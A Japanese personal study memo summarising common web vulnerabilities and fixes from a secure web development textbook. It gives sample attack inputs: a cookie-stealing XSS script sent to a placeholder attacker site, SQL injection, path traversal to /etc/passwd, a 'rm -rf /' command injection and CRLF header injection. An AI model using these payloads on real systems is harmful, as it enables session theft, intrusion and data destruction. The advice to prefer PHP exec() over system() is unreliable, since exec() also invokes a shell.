はじめに
「体系的に学ぶ 安全なWebアプリケーションの作り方 第2版」(徳丸本)を読んで学んだWebセキュリティの基本の個人用まとめメモです。
AI生成コードが増える現代でも、こういった根本的な脆弱性は人間側で責任を持ってチェックしないとな〜と思いました。"動くだけ"のコードだと危険だなと
主なWebセキュリティ脆弱性と対策
クロスサイト・スクリプティング (XSS)
- 概要: 外部入力に基づくHTML/JavaScript生成に問題があり、悪意のあるスクリプトが埋め込まれて実行される脆弱性。掲示板や検索結果などで発生しやすい。
-
具体例: 検索フォームに
<script>document.location='https://攻撃サイト/steal.php?c='+document.cookie</script>
を入力すると、検索結果画面でスクリプトが実行され、閲覧者のクッキーが攻撃者に送信される。 -
対策: HTML特殊文字をエスケープ(
htmlspecialchars
等)、コンテキストに応じた適切な対応。textContent
の使用やDOM操作ライブラリの活用。
SQLインジェクション
- 概要: 外部入力値に不正なSQL断片が混入し、認証バイパスやデータ漏洩につながる攻撃。
-
具体例: ログインフォームで
' OR 1=1 --
を入力すると、「パスワードが正しいORいつも真」という条件になり、認証がバイパスされる。 -
対策: プリペアドステートメントの使用(例: PHPの
PDO
やmysqli
)、メタ文字の適切なエスケープ。
ディレクトリ・トラバーサル
- 概要: ファイル名パラメータの検証不足により、想定外のファイルにアクセスされる脆弱性。
-
具体例:
https://example.com/download.php?file=../../../etc/passwd
のようなURLで、Webアプリのディレクトリ外のシステムファイルにアクセスされる。 -
対策: 外部からのファイル名指定を避ける、
../
などのディレクトリ指定文字の検証、安全な文字種に制限。
OSコマンド・インジェクション
- 概要: OSコマンド呼び出し時の入力値処理の不備で、意図しないコマンドが実行される脆弱性。
-
具体例: IPアドレス入力フォームに
8.8.8.8; rm -rf /
を入力すると、pingの後に破壊的コマンドが実行される可能性。 -
対策: OSコマンド呼び出しを避ける、シェル呼び出し関数を使わない(例: PHPなら
system()
ではなくexec()
)、メタ文字のエスケープ。
オープンリダイレクト
- 概要: リダイレクト先URL検証の不備により、悪意のあるサイトへ誘導されるリスク。フィッシング攻撃に悪用される。
-
具体例:
https://trusted-site.com/redirect.php?url=https://malicious-site.com
のようなURLで、信頼されたサイトから悪意あるサイトへ誘導される。 -
対策: リダイレクト先を固定または番号で指定(例:
redirect.php?id=1
)、ドメイン名の厳格な検証。
セッション管理の不備
- 概要: セッションIDの管理不備によりなりすましが可能になる脆弱性。
- 具体例: 予測可能なセッションID値や、XSSで盗まれたセッションIDを使ったセッションハイジャック。
-
対策: 実績あるセッション管理機構の利用、認証後のセッションID再生成(例: PHP
session_regenerate_id(true)
)、TLS化とSecure属性設定。
認可不備
- 概要: ユーザー権限の確認が不十分で、権限外の情報や機能にアクセスできてしまう問題。
-
具体例:
https://example.com/user.php?id=123
のURLの数字を変えるだけで他のユーザー情報が見える、管理画面URLを直接入力すると一般ユーザーでもアクセスできてしまう。 - 対策: アクセス直前の権限確認、権限情報をセッション変数に保持(クッキーやhiddenフィールドではなく)。
HTTPヘッダ・インジェクション
- 概要: レスポンスヘッダ出力時に改行コードがそのまま出力され、任意ヘッダ追加が可能になる脆弱性。
-
具体例: リダイレクト用URLに改行コードを含める(
location: https://example.com\r\nSet-Cookie: session=hacked
)と、不正なクッキーが設定される。 -
対策: 外部パラメータを直接ヘッダ出力しない、フレームワーク機能を利用(例:
header()
関数の直接使用を避ける)。
アップロードファイルによるスクリプト実行
- 概要: 実行可能なファイルがアップロードされ公開ディレクトリに配置されると、不正コードが実行される。
-
具体例: プロフィール画像として
.php
ファイルをアップロードし、そのURLにアクセスして不正コードを実行。 -
対策: アップロードファイルを公開ディレクトリに置かない、実行可能な拡張子を禁止(
.php
、.cgi
等)、画像なら画像処理ライブラリでチェック。
文字コードに起因する脆弱性
- 概要: 文字コードの扱いの不備が他の脆弱性を引き起こす原因となる問題。
- 具体例: UTF-7エンコードでフィルタをバイパスしてXSS攻撃を行う、不正な文字シーケンスで文字化けを引き起こし他の対策を回避。
-
対策: UTF-8で統一、不正なエンコーディングの排除、明示的な文字コード指定(例: HTMLの
<meta charset="UTF-8">
)。
競合状態(Race Condition)
- 概要: 共有リソースへの同時アクセスに排他制御がなく、データ不整合が生じる脆弱性。
- 具体例: 残高確認→引き落としの間に複数リクエストを送り、一度の残高で複数回の取引を行う。
- 対策: 共有リソースの使用を避ける設計、適切な排他制御の実装(例: データベースのトランザクション、ロック機構)。
クリックジャッキング
- 概要: 透明なiframeで重要ページを覆い、意図しないクリックを誘発する攻撃。
- 具体例: SNSの「いいね」ボタンの上に透明なレイヤーを置き、別のボタンをクリックしたつもりが「いいね」を押させられる。
-
対策:
X-Frame-Options: DENY
やX-Frame-Options: SAMEORIGIN
ヘッダによるフレーム内表示の禁止、コンテンツセキュリティポリシー(CSP)の設定。